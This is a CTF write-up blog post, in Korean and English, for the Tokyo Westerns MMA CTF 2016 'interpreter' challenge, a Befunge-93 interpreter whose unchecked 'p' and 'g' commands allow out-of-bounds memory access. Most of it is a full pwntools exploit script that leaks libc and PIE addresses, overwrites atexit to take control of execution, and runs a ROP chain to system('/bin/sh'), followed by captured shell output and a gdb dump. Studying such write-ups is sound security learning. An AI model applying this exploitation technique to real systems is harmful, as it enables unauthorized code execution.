본문 바로가기

Games/CTF

Tokyo Westerns MMA CTF 2016 interpreter

Summary: 64bit ELF befunge-93 interpreter is given. The binary is fortified with everything (CANARY, NX, PIE, FULL-RELRO, no offset2lib in latest kernel). However, there is arbitrary memory R/W bug in 'p', 'g' implementation since there are no boundary checks.  Using this bug, I can overwrite atexit at libc and control the RIP.  However, the ROP-able stack payloads are injected into memory before I have the leak. So, I have to hijack the RIP twice by re-running the program again.

When the interpreter is re-ran, the interpreter states (X, Y coordinates) remains.  So its a bit complicated to achieve full ROP.  Also, the arbitrary memory R/W is very complex.  I have to put the offset between the opcode array and the target memory address on the interpreter stack (in the server's kernel, libc and PIE base is randomly distanced more than 32bit. so the memory access becomes difficult), then use 'p', 'g' operation to let the interpreter read/write the memory for me.  This is a bit complex but its possible.


요약: 모든 보안설정이 다적용된 64비트 ELF 바이너리가 주어짐.  프로그램은 befunge-93 이라는 esoteric 언어 (brain fuck 같은) 에 대한 인터프리터임.  기본적으로 brain fuck 과는 다르게 프로그램의 opcode 가 1차원 배열로서 쭉 실행되는게 아니라, 80x25 의 2차원 배열로서 4방향의 좌표계를 가지고 실행이되서 좀 복잡함.  아무튼 여기서 p, g 명령을 쓸때 boundary check 가 없어서 opcode array 를 벗어난 메모리 읽고쓰기가 가능.  이를 이용해서 일단 PIE, LIBC 쪽등을 릭할수있긴한데, opcode array 베이스로부터 32비트 범위까지만 메모리접근이 가능한것이 문제...  이부분은 옜날커널에선 문제가 안되는데 (모든 메모리세그먼트가 32비트범위내에 고정적으로 인접해있어서) 최신커널에선 그렇지 않기때문에 (32bit 이상의 거리로 랜덤하게 떨어짐), pie base 세그먼트랑 libc 가 32비트 offset 의 거리로 접근이 안됨... 결국 서버대상으로 64비트 메모리 레이아웃을 전부 접근하기 위해서는 32비트 까지의 접근을 이용해서 인터프리터스택에 64비트 offset 을 정확한 인터프리터 스택 위치에 먼저 위치시키고, 스택 push pop 등의 순서를 고려해서 befunge 가 조작된 인터프리터 스택내용을 가지고 p, g 를 해서 내가원하는 임의의 64비트 메모리를 1바이트씩 읽고쓰게 해야함.  

또하나의 문제는 이를 통해 atexit 를 덮어서 RIP 를 잡았다고 쳐도, ROP 가 안됨.  왜나하면 스택에 존재하는 ROP 페이로드가 메모리에 들어가는 시점이 내가 leak 을 얻기보다 이른시점이라서... 그래서 RIP 를 잡았을때, 다시한번 모든 익스플로잇을 replay 할수있게 다시 main 으로 뛰었음.  그래서 leak 을 얻은상태에서 ROP 페이로드가 들어가게 메모리를 구성하고 다시한번 RIP 를 잡아서 그걸통해 system("/bin/sh"); 를 실행했음.


uid=62839441 gid=62839(ycih2ij6750zhejj) groups=62839(ycih2ij6750zhejj)

$ ls

befunge

flag

$ cat flag

TWCTF{It_1s_eMerG3nCy}








from pwn import *

context.arch = 'amd64'  # i386 / arm


def leakptr(r, offset):

    leak = ''

    r.sendline(str(offset))

    leak += r.recv(1)

    r.sendline(str(offset+1))

    leak += r.recv(1)

    r.sendline(str(offset+2))

    leak += r.recv(1)

    r.sendline(str(offset+3))

    leak += r.recv(1)

    r.sendline(str(offset+4))

    leak += r.recv(1)

    r.sendline(str(offset+5))

    leak += r.recv(1)

    return int(leak[::-1].encode('hex'), 16)


def writeptr(r, offset, ptr):

    leak = ''

    r.sendline(str(ptr & 0xff))

    r.sendline(str(offset))

    r.sendline(str(ptr>>8 & 0xff))

    r.sendline(str(offset+1))

    r.sendline(str(ptr>>16 & 0xff))

    r.sendline(str(offset+2))

    r.sendline(str(ptr>>24 & 0xff))

    r.sendline(str(offset+3))

    r.sendline(str(ptr>>32 & 0xff))

    r.sendline(str(offset+4))

    r.sendline(str(ptr>>40 & 0xff))

    r.sendline(str(offset+5))

    r.sendline(str(ptr>>48 & 0xff))

    r.sendline(str(offset+6))

    r.sendline(str(ptr>>56 & 0xff))

    r.sendline(str(offset+7))


r = remote('pwn1.chal.ctf.westerns.tokyo', 62839)

#r = process(['./befunge'])

raw_input('attach')


print r.recvuntil('> ')


# stage1. read GOT

# exit.got is at program - 0x90, setvbuf.got is at program - 0xa0

payload = '>'

payload += '&0g,'*6  # leak 6bytes for exit

payload += '&0g,'*6  # leak 6bytes for stdout

payload += '&0g,'*6  # leak 6bytes for prog

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


# 2bytes

payload = '>&70&70'

payload += '&&0p'*8  # target

payload += '&&0p'*8  # 

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


# 2bytes

payload = '>&70&70'

payload += '&&0p'*8  # target

payload += '&&0p'*8  # 

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


# 2bytes

payload = '>&70&70'

payload += '&&0p'*8  # 

payload += '&&0p'*8  # 

payload += 'pppppp'                                 # write here

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)



r.sendline( '@'+' '*(2000-641) )

print r.recvuntil('> > > > > > > > > > > > > > > > > > > > > > > > ')

print 'running payload... do I/O with your payload'

raw_input()


exit_addr = leakptr(r, -144)

print 'exit at ', hex(exit_addr)

stdout_addr = leakptr(r, -120)

print 'stdout at ', hex(stdout_addr)

prog_addr = (leakptr(r, -56) & 0xfffffffffffff000) + 0x40

stack_addr = prog_addr + 0x7e0

print 'program at ', hex(prog_addr)

print 'stack at ', hex(stack_addr)


libc_base = (exit_addr & 0xfffffffffffff000) - 0x3c000

pie_base = prog_addr - 0x202040

libc_rw = (stdout_addr & 0xfffffffffffff000) - 0x1000

at_exit = libc_rw + 0x38

delta = at_exit - prog_addr

print 'libc_base at ', hex(libc_base)

print 'libc_rw at ', hex(libc_rw)

print 'at_exit at ', hex(at_exit)

print 'pie_base at ', hex(pie_base)

print 'delta for at_exit is ', hex(delta)


rip = pie_base + 0xc15


r.sendline(str(rip & 0xff))

r.sendline(str(rip>>8 & 0xff))

writeptr(r, 0x7e8+0x18*0, delta+0)

writeptr(r, 0x7e8+0x18*1, delta+1)

r.sendline(str(rip>>16 & 0xff))

r.sendline(str(rip>>24 & 0xff))

writeptr(r, 0x7e8+0x18*2, delta+2)

writeptr(r, 0x7e8+0x18*3, delta+3)

r.sendline(str(rip>>32 & 0xff))

r.sendline(str(rip>>40 & 0xff))

writeptr(r, 0x7e8+0x18*4, delta+4)

writeptr(r, 0x7e8+0x18*5, delta+5)


raw_input('get rip!')


print r.recvuntil('> ')


# stage2. ROP

payload = '/bin/sh; '

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '2'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


payload = '1'

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '2'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


payload = '3'

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '4'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


payload = '4'

payload += 'pppppp'                                 # write here

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '6'      # 80 byte line set.

r.sendline( payload )

sleep(.1)



# restart from here.


# 2bytes

payload = '>&70&70'

payload += '&&0p'*8  # target

payload += '&&0p'*8  # 

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


# 2bytes

payload = '>&70&70'

payload += '&&0p'*8  # target

payload += '&&0p'*8  # 

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


# 2bytes

payload = '>&70&70'

payload += '&&0p'*8  # 

payload += '&&0p'*8  # 

payload += 'pppppp'                                 # write here

payload = payload.ljust(78, ' ')

payload += 'v'      # 80 byte line set.

r.sendline( payload )

sleep(.1)

payload = 'v'

payload = payload.ljust(78, ' ')

payload += '<'      # 80 byte line set.

r.sendline( payload )

sleep(.1)


rop = 'aaaabbbbccccdd'

rdiret = pie_base + 0x1273

system = libc_base + 0x46640 - 0xb0     # remote offset

rop += pack(rdiret)

rop += pack(prog_addr)

rop += pack(system)

r.sendline( '@' + '#'*(2000-1121-len(rop)+2) + rop )

print r.recvuntil('> > > > > > > > > > > > > > > > > > > > > > > > ')

print 'running payload... do I/O with your payload'

raw_input()


rip = pie_base + 0x11ff


r.sendline(str(rip & 0xff))

r.sendline(str(rip>>8 & 0xff))

writeptr(r, 0x7e8+0x18*0, delta+0)

writeptr(r, 0x7e8+0x18*1, delta+1)

r.sendline(str(rip>>16 & 0xff))

r.sendline(str(rip>>24 & 0xff))

writeptr(r, 0x7e8+0x18*2, delta+2)

writeptr(r, 0x7e8+0x18*3, delta+3)

r.sendline(str(rip>>32 & 0xff))

r.sendline(str(rip>>40 & 0xff))

writeptr(r, 0x7e8+0x18*4, delta+4)

writeptr(r, 0x7e8+0x18*5, delta+5)


raw_input('start ROP!')

r.interactive()


'''

(gdb) x/30gx &program-0x40 + 8

0x7f8f16344f60 <_IO_putc@got.plt>:  0x00007f8f15bcaf50  0x00007f8f15b8f0b0

0x7f8f16344f70 <__libc_start_main@got.plt>: 0x00007f8f15b7add0  0x00007f8f15bc7220

0x7f8f16344f80 <__gmon_start__@got.plt>:    0x0000000000000000  0x00007f8f15b90920

0x7f8f16344f90 <_IO_getc@got.plt>:  0x00007f8f15bcab00  0x00007f8f15c62280

0x7f8f16344fa0 <setvbuf@got.plt>:   0x00007f8f15bc9670  0x00007f8f15bb6dd0

0x7f8f16344fb0 <exit@got.plt>:  0x00007f8f15b95290  0x00007f8f15b95550

0x7f8f16344fc0: 0x0000000000000000  0x00007f8f15f18870  <- THIS pSTDOUT at LIBC_RW

0x7f8f16344fd0: 0x00007f8f15f18878  0x0000000000000000

0x7f8f16344fe0: 0x00007f8f16345040  0x0000000000000000

0x7f8f16344ff0: 0x0000000000000000  0x00007f8f15b95550

0x7f8f16345000: 0x0000000000000000  0x00007f8f16345008

0x7f8f16345010: 0x0000000000000000  0x0000000000000000

0x7f8f16345020: 0x0000000300000000  0x0000000000000000

0x7f8f16345030: 0x0000000900000000  0x0000000000000000

0x7f8f16345040 <program>:   0x2c226f6c6c654822  0x404040402c2c2c2c

(gdb) 

'''



'Games > CTF' 카테고리의 다른 글

SECCON 2016 jumper  (0) 2016.12.11
SECCON 2016 chat  (0) 2016.12.11
Tokyo Westerns MMA CTF 2016 shadow  (0) 2016.09.05
BKP2016 segsh  (0) 2016.06.24
ASIS CTF 2016 books  (0) 2016.05.11